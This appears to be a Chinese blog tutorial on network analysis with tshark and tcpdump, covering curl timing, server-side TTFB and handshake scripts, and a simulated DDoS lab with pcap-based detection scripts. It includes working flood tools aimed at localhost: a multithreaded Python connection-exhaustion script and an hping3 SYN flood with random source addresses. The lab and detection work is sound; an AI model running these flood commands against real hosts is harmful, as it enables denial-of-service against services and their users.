tshark + tcpdump 入门实战笔记:从网站分析到 DDoS 模拟


tshark + tcpdump 实战笔记:从网站分析到 DDoS 模拟

环境说明

  • 操作系统:CentOS 7
  • 服务端网卡:eth0(示例)
  • 客户端测试机:任意 Linux
  • 目标网站:example.com(实际请替换)

一、安装 tshark 和 tcpdump

bash 复制代码
# 安装 epel 源
sudo yum install epel-release -y

# 安装 wireshark(含 tshark)和 tcpdump
sudo yum install wireshark tcpdump -y

# 验证
tshark -v
tcpdump -v

二、客户端分析:curl 时间分解

1. 创建 curl 格式化模板

bash 复制代码
cat > curl-format.txt << 'EOF'
    time_namelookup:  %{time_namelookup}\n
       time_connect:  %{time_connect}\n
    time_appconnect:  %{time_appconnect}\n
   time_pretransfer:  %{time_pretransfer}\n
      time_redirect:  %{time_redirect}\n
 time_starttransfer:  %{time_starttransfer}\n
                    ----------\n
         time_total:  %{time_total}\n
EOF

2. 测试目标网站

bash 复制代码
curl -w "@curl-format.txt" -o /dev/null -s "http://example.com/test"

输出示例:

复制代码
time_namelookup:  0.003
time_connect:     0.025
time_starttransfer: 0.218
time_total:       0.245

指标含义:

  • time_namelookup:DNS 解析耗时
  • time_connect:TCP 三次握手耗时
  • time_starttransfer:从开始到收到第一个字节(TTFB)
  • time_total:总耗时

三、服务端抓包分析(配合 tcpdump + tshark)

场景:定位服务端性能瓶颈

1. 服务端抓包(假设客户端 IP 为 192.168.1.100)
bash 复制代码
# 实时抓取与该客户端的交互
sudo tcpdump -i eth0 -s 1500 -w server_trace.pcap host 192.168.1.100 and port 80
2. 分析 TCP 握手耗时
bash 复制代码
tshark -r server_trace.pcap -Y "tcp.flags.syn==1 or tcp.flags.ack==1" \
  -T fields -e frame.time_relative -e tcp.stream -e tcp.flags.syn -e tcp.flags.ack | awk '
BEGIN { stream_time=0 }
{
    if ($3==1 && $4==0) { syn_time=$1; stream=$2 }
    if ($3==1 && $4==1 && stream==$2) { 
        handshake = $1 - syn_time; 
        printf "Stream %d 握手耗时 = %.6f 秒\n", stream, handshake
    }
}'
3. 计算 TTFB(服务端处理时间)
bash 复制代码
tshark -r server_trace.pcap -Y "http.request or http.response" \
  -T fields -e frame.time_relative -e http.request.method -e http.request.uri -e http.response.code | awk '
/request/ { req_time=$1; req_uri=$3 }
/response/ { 
    ttfb = $1 - req_time; 
    printf "请求 %s  TTFB = %.6f 秒\n", req_uri, ttfb
}'
4. 自动分析脚本 server_analyze.sh
bash 复制代码
#!/bin/bash
PCAP=$1
CLIENT_IP=$2

echo "服务端分析报告"
SYN_TIME=$(tshark -r $PCAP -Y "tcp.flags.syn==1 and ip.src==$CLIENT_IP" -T fields -e frame.time_relative 2>/dev/null | head -1)
SYNACK_TIME=$(tshark -r $PCAP -Y "tcp.flags.syn==1 and tcp.flags.ack==1 and ip.dst==$CLIENT_IP" -T fields -e frame.time_relative 2>/dev/null | head -1)
if [ -n "$SYN_TIME" ] && [ -n "$SYNACK_TIME" ]; then
    echo "TCP握手耗时: $(echo "$SYNACK_TIME - $SYN_TIME" | bc) 秒"
fi

REQ_TIME=$(tshark -r $PCAP -Y "http.request" -T fields -e frame.time_relative 2>/dev/null | head -1)
RESP_FIRST=$(tshark -r $PCAP -Y "http.response" -T fields -e frame.time_relative 2>/dev/null | head -1)
if [ -n "$REQ_TIME" ] && [ -n "$RESP_FIRST" ]; then
    echo "TTFB: $(echo "$RESP_FIRST - $REQ_TIME" | bc) 秒"
fi

RETRANS=$(tshark -r $PCAP -Y "tcp.analysis.retransmission" 2>/dev/null | wc -l)
echo "TCP重传次数: $RETRANS"

运行:

bash 复制代码
chmod +x server_analyze.sh
./server_analyze.sh server_trace.pcap 192.168.1.100

四、模拟 DDoS 攻击并抓包分析

1. 在服务器上启动抓包

bash 复制代码
sudo tcpdump -i eth0 -s 1500 -w ddos_attack.pcap 'tcp port 80' &

2. 使用 Python 模拟高并发攻击(本机 127.0.0.1)

bash 复制代码
python3 -c "
import socket, threading, time

def flood():
    while True:
        try:
            s = socket.socket()
            s.connect(('127.0.0.1', 80))
            s.send(b'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n')
            # 不关闭连接,耗尽资源
        except:
            pass

for i in range(500):
    threading.Thread(target=flood, daemon=True).start()
print('攻击中... 按 Ctrl+C 停止')
time.sleep(999999)
"

3. 使用 hping3 发起 SYN Flood(需要安装)

bash 复制代码
sudo hping3 -S -p 80 --flood --rand-source 127.0.0.1

4. 使用 ab 进行压力测试

bash 复制代码
ab -n 10000 -c 100 http://127.0.0.1/

5. 实时观察连接状态

bash 复制代码
watch -n 1 'ss -tan | grep :80 | wc -l'

6. tshark 分析 DDoS 抓包文件

6.1 查看基本信息
bash 复制代码
capinfos ddos_attack.pcap
6.2 TCP 标志位统计(识别攻击类型)
bash 复制代码
tshark -r ddos_attack.pcap -Y "tcp" -T fields -e tcp.flags | sort | uniq -c | sort -rn
6.3 统计半开连接(SYN Flood 特征)
bash 复制代码
SYN=$(tshark -r ddos_attack.pcap -Y "tcp.flags.syn==1 and tcp.flags.ack==0" 2>/dev/null | wc -l)
SYNACK=$(tshark -r ddos_attack.pcap -Y "tcp.flags.syn==1 and tcp.flags.ack==1" 2>/dev/null | wc -l)
echo "SYN: $SYN, SYN+ACK: $SYNACK, 半开比例: $(echo "scale=2; $SYN*100/($SYN+$SYNACK)" | bc)%"
6.4 攻击源 IP TOP 10
bash 复制代码
tshark -r ddos_attack.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -10
6.5 自动识别攻击类型脚本 ddos_detect.sh
bash 复制代码
#!/bin/bash
PCAP=$1
TOTAL=$(tshark -r $PCAP 2>/dev/null | wc -l)
SYN=$(tshark -r $PCAP -Y "tcp.flags.syn==1 and tcp.flags.ack==0" 2>/dev/null | wc -l)
ACK=$(tshark -r $PCAP -Y "tcp.flags.ack==1 and tcp.flags.syn==0 and tcp.flags.reset==0" 2>/dev/null | wc -l)
UDP=$(tshark -r $PCAP -Y "udp" 2>/dev/null | wc -l)

echo "SYN占比: $(echo "scale=2; $SYN*100/$TOTAL" | bc)%"
echo "ACK占比: $(echo "scale=2; $ACK*100/$TOTAL" | bc)%"
if (( $(echo "$SYN > $TOTAL*0.5" | bc -l) )); then
    echo "检测到 SYN Flood 攻击"
elif (( $(echo "$ACK > $TOTAL*0.5" | bc -l) )); then
    echo "检测到 ACK Flood 攻击"
else
    echo "非典型 DDoS 或正常流量"
fi

运行:

bash 复制代码
chmod +x ddos_detect.sh
./ddos_detect.sh ddos_attack.pcap

五、实战案例分析(脱敏)

以下是一次真实抓包的输出示例(已脱敏):

复制代码
=== 抓包文件基本信息 ===
File name:           ddos_attack.pcap
Number of packets:   484
Capture duration:    154 seconds
Average packet rate: 3 packets/sec

=== 协议分布 ===
eth   frames:484 bytes:197644
  ip  frames:484 bytes:197644
    tcp frames:484 bytes:197644
      ssh   frames:233 bytes:157970
      http  frames:10  bytes:16946

结论: 该流量为正常的 SSH + HTTP 混合流量,非 DDoS。真正的攻击需要更高的包速率(>1000 pps)和明显的半开连接比例。


六、常用 tshark 过滤表达式速查

目的 表达式
只显示 HTTP 请求 -Y "http.request"
显示 SYN 包 -Y "tcp.flags.syn==1 and tcp.flags.ack==0"
显示 RST 包 -Y "tcp.flags.reset==1"
按源 IP 过滤 -Y "ip.src==192.168.1.100"
提取字段 -T fields -e ip.src -e http.request.uri
统计会话 -z conv,tcp
统计每秒包数 -z io,stat,1

七、注意事项

  • 抓包请勿在生产环境随意发起 DDoS 攻击,应在隔离测试环境中进行。
  • 所有 IP、域名已替换为示例值,实际操作请替换为真实地址。
  • 大流量抓包时注意磁盘空间,建议使用 -C-G 参数滚动保存。

相关推荐
じ☆冷颜〃7 小时前
实分析与测度论、复分析、傅里叶分析、泛函分析、凸分析概述.
笔记·学习·数学建模·拓扑学·傅立叶分析
kobesdu7 小时前
【ROS2实战笔记-19】ROS2 生命周期节点的启动顺序、状态转换陷阱与热备方案
java·前端·笔记·机器人·ros·ros2
谙弆悕博士7 小时前
快速学C语言——第16章:预处理
c语言·开发语言·chrome·笔记·创业创新·预处理·业界资讯
handler019 小时前
UDP协议与网络通信知识点
c语言·网络·c++·笔记·网络协议·udp
sheeta199812 小时前
LeetCode 每日一题笔记 日期:2026.05.13 题目:1674. 使数组互补的最少操作次数
笔记·算法·leetcode
叁散12 小时前
实验项目1 LTE通信原理与应用
笔记·其他
AOwhisky12 小时前
Docker 学习笔记:镜像分发、容器运行与资源限制
笔记·学习·docker
TANGLONG22215 小时前
【C++】继承详解——基类/派生类、作用域、默认函数、菱形继承(超详细)
java·c语言·c++·经验分享·笔记·ajax
木木_王16 小时前
嵌入式学习 | STM32裸板驱动开发(Day01)入门学习笔记(超详细完整版|点灯实验 + 库函数代码 + 原理全解)
linux·驱动开发·笔记·stm32·学习
largecode16 小时前
能不能让座机号码显示“XX公司”那样的认证名称?申请号码认证方法
经验分享·笔记·音视频·课程设计·oneapi·segmentfault·微信开放平台